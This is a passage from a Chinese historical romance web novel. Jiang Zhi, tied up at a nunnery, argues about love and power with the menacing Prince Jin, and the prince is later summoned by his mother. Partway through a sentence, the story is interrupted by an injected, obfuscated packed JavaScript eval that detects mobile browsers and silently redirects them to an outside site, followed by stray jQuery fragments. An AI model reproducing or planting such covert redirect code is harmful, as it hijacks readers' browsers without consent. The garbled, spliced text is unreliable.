晋王兴味十足的笑道:“不装了?”


    姜至仿佛一下子被抽走了所有的力气,她无力的放松下来,颓然的道:“对你又没用,谁还稀得装?”她往后靠了靠,寻了个还算舒服的姿势。


    “你这是在找死。”


    许是他虽放着狠话,但姜至并没感受到他的杀意,是以姜至眉眼不动,只懒洋洋的道:“那你杀了我啊。”


    “你以为本王不敢?”


    “呵。王爷乃堂堂天潢贵胄,又驻守边关多年,死于王爷手下的人不知凡几,何况是杀我这样一个手无缚鸡之力的弱女子。”


    “不必激本王,本王不是滥杀无辜的人。”


    姜至以“呵”表示不屑:“王爷是什么样的人,我哪儿清楚?可这世上的人成千上万,脾气禀性自然也形形色色,但扒了皮囊外头套着的那层伪善的皮,内里大同小异。王爷完全不必忌讳天地鬼神和庵里的菩萨,也不必怕人知晓你言而无信,更不必担心有人知晓你仗势欺人,至于所谓的造业,您就更不怕了。这辈子我无力反抗,便是到了下辈子,王爷欠的债,我也照旧讨不回来。”


    晋王啧一声:“这反话让你说的,本王杀你都得羞愧死。别说,你这有恃无恐的模样,倒像本王上辈子欠了你的。”


    姜至是相信前世的,因为今生有执着,那是上辈子造的业,这辈子不了结,她魂魄都难以宁静。


    可上辈子,她和晋王何曾有过交集?


    上辈子这个时候,他在哪儿她不知道,但她是已经死了的。


    她一时有些怔忡,良久都没吭声。


    见姜至装死,晋王又生出招她的恶趣味来:“别灰心,换个条件,或许本王就答应了呢?”


    姜至:“我再信你就是狗。”


    晋王失笑,抬手把姜至脸上的碎发拨到她耳后,温热的手指停留在姜至微凉的脸颊,道:“本王是什么,你说了不算。你说说你,生得一张姣好芙蓉貌,偏生有着一副与容貌不符的拗性子。嘴上逞强有什么用?就是吃亏吃得少了。”


    姜至气结。


    她忽然就心平气和下来。


    晋王确实位高权重,有着碾死姜二老爷的权力,可她和他无亲无故,他又凭什么帮她?


    从前,她一心只把命运系于傅嘉熹一身,以为同他说清楚误会,他就会理解她,以为向他表达真挚的情感,他便会予她同样的爱和尊重。


    为了他,为了爱,她这么多年像钻了牛角尖的小老鼠,不只成了全京城的笑话,还活活闷死了自己。


    现在,怎么还能把自己的未来系于另一个陌生的男人身上?


    晋王放下手,问:“你爱过人。”


    不是疑问,而是肯定的陈述。


    姜至翻了个白眼:“王爷嘴真毒,您就不怕上下唇一抿,能把您自己毒死吗?”


    这是戳了肺管子,不爱听了


    。晋王越发觉得不装的姜至很有趣,他含笑道:“你觉得怎样才算是爱?”


    “王爷是在讥讽我吗?是,我爱过,却爱错,也没得到应该得到的回馈,所以您所说的爱,我不曾体会过。”


    “讥讽你?本王像那么无聊的人?”


    “总之王爷是问错了人,不啻于问道于盲。”


    “本王随便问问,你随便说说。”


    姜至不无嘲讽兼自嘲的道:“我没什么成功经验,只有伤疤。如果王爷非要听,我只能说,爱一个人,那就远离他。”


    “有意思。”晋王意外:“为什么?”他目光深邃,直直望进姜至眼眸深处,对她的回答很不满意,但她的回答又无可挑剔。他似是疑惑又似是诘问:“爱一个人,难道不是拥有?得到他的人,不够,还要得到他的心的那种?”


    姜至有一瞬间怀疑晋王认出她来了,也是听说过她的奇闻逸事,所以才会借这个机会来羞辱她。


    那又如何?爱过,错过,做过,纵然羞耻疼痛,却抹杀不掉。


    旁人已经是无尽的冷嘲热讽,风刀霜剑,她才要更加的爱自己,鼓励自己,温暖自己,不让自己在泥淖里陷得更深,甚至,她要不遗余力的从泥淖里爬出来。


    姜至道:“人都贱啊,求而不得才最可贵,得到了多没意思。”


    她很有些好笑的道:“爱是执念,你爱上的未必是你爱的那个人的本身,不过是你心里对所有美好的映射,是幻像,是绮梦。可其实呢,要他的人有什么用?他能替我不饥?他能替我不寒?他能替我不痛?他能替我不苦?最重要的一点”


    她一字一句,直直地望进晋王眼里,甚至带着一点儿恶毒:“他能替我去死?”


    她掷地有声:“都不能。”


    姜至声色有些冷凛:“于我来说,爱是软肋,是我把刀柄递给他,给了他伤害我的权利。人活着已经够苦的了,我还要把刀柄递到别人手上,就为了他捅我的时候更疼吗?”


    她笑得苦涩,眼里却风平浪静,仿佛从不曾经受任何苦痛。


    晋王感慨:“你这色厉内荏的模样,更像是爱而不得的恼羞成怒。”


    “也许吧,我早说过,别人怎么样,我不知道,也和我无关,我只是一家之言。”


    晋王抚着下巴,盯着她问:“如果能给你带来好处呢?”


    姜至不屑反问:“多大的好处?”


    “……很大,很大,很大的好处。”


    呵。姜至笑得眼泪都快淌下来了,她好笑的道:“刚才王爷言传身教,教给臣女一个道理,天上掉下来的肉,背后都有钩子。”


    她眼神漆黑,里面住着挣扎往外爬的厉鬼:“我有命伸手,就怕没命享呵。”


    晋王一脸的失望:“真不爱了?”


    姜至眼皮抽动,无奈的道:“王爷,您和臣女交浅言深了。就算是捅刀子,也未免过于冒昧了点儿。”


    “你的爱真不值钱。”他还沉下脸,一副吃了大亏的模样:“所以,这就是你答应本王要求这么痛快的原因?”


    姜至:“……这不都是王爷逼的吗?”


    “狡诈,市侩。”晋王犀利的评价姜至。


    姜至一副死猪不怕开水烫的模样:“是,我还卑劣、恶毒、放荡。”她睁着无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961543|193315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辜的双眼,诚恳的道:“王爷如此伟岸、磊落、高贵,实在不必踩我这泡狗……”


    晋王不等她说完,腾地起身。


    他带起的袍角径直打到姜至眼角,她疼得一闭眼。


    晋王又恢复了面无表情:“念你初犯,又没恶意,这次本王不和你计较。”


    也不等姜至回应,抬手把手里的水晶朝姜至怀里掷去。


    姜至没手接,只得眼睁睁地看水晶砸中胸口,疼得她倒吸了一口气,却半声不敢吭。


    眼见晋王如来时一样疾风般离开,这才猛地脱力跌坐在地上。


    有病吧,他!


    ……………………


    妙仪师太赶过来,亲手替姜至解了手上绳索,心有余悸的道:“大抵是庵里合该遭此一劫,倒是累得施主你受无妄之灾。所以什么事都是祸福相倚的,静月庵名气打出去了,却差点儿惨遭灭门。”


    姜至淡着脸,揉了揉被绑得有些青紫的手腕,道:“这也算不得什么,结果是好的就行。”


    做什么事没代价呢?


    她误打误撞地利用了太妃娘娘,被晋王怀疑也是应该的。


    别说他只是口头折辱,真要一时杀兴大起,一刀把她宰了,她也没地儿说理去。


    她把水晶递给妙仪师太:“还嵌到殿顶吧。”


    “这……”妙仪师太一时也有些无语。


    纵然她真的修到了四大皆空的地步,可刀架在脖子上那一刻,说不害怕是假的。


    虽说不明白晋王为什么肯饶了庵中诸尼,但今后仍旧打着佛光普照的名头,万一那煞神再杀回来?这一庵的人还能活吗?


    姜至苦笑:“总不能半途而废,不然就白受一回罪了。”


    妙义师太打量一回她,蓦地垂眸,在心里思想了一回,念了声“阿弥托佛”,坚定了神色道:“施主说得对,这也算有始有终了。”


    ………………


    汤泉行宫,晋王才回来,就听说太妃娘娘有请。


    太妃娘娘殿里温暖如春,梅瓶里插着几枝才打苞的腊梅,香炉里燃着甜暖的香,桌上摆着从南方进贡来的鲜果,她松驰地坐在桌边,耐心地守着归家的儿子。


    衬着明亮的烛光,很有几分温馨的味道。


    晋王脚步滞了下,上前行礼:“母妃……”


    太妃笑眯眯地招呼他坐:“昨儿在静月庵里尝的点心不错,软糯又弹牙,我让膳房尝试着做了几块,你尝尝?”


    晋王心一动,抬眼看太妃时,太妃眼里只有母亲对儿子的慈爱。


    盛情难却,他只得捧场,在太妃殷切的目光下,尝了一口,言不由衷的夸奖道:“要比静月庵里的点心美味多了。”


    太妃立时眯眼笑了:“我猜着你会喜欢,喜欢吃你就多吃点儿。毕竟平时的点心都太甜了,你就没有不嫌弃的。”


    “儿臣无所谓,母妃喜欢就好。”


    “怎么能无所谓呢?你年轻,饿得快,除了正餐外,偶尔吃块点心垫垫,总比饿坏了肠胃的好。”她鼻冀翕动,忽然看向晋王:“你才刚去哪儿了?”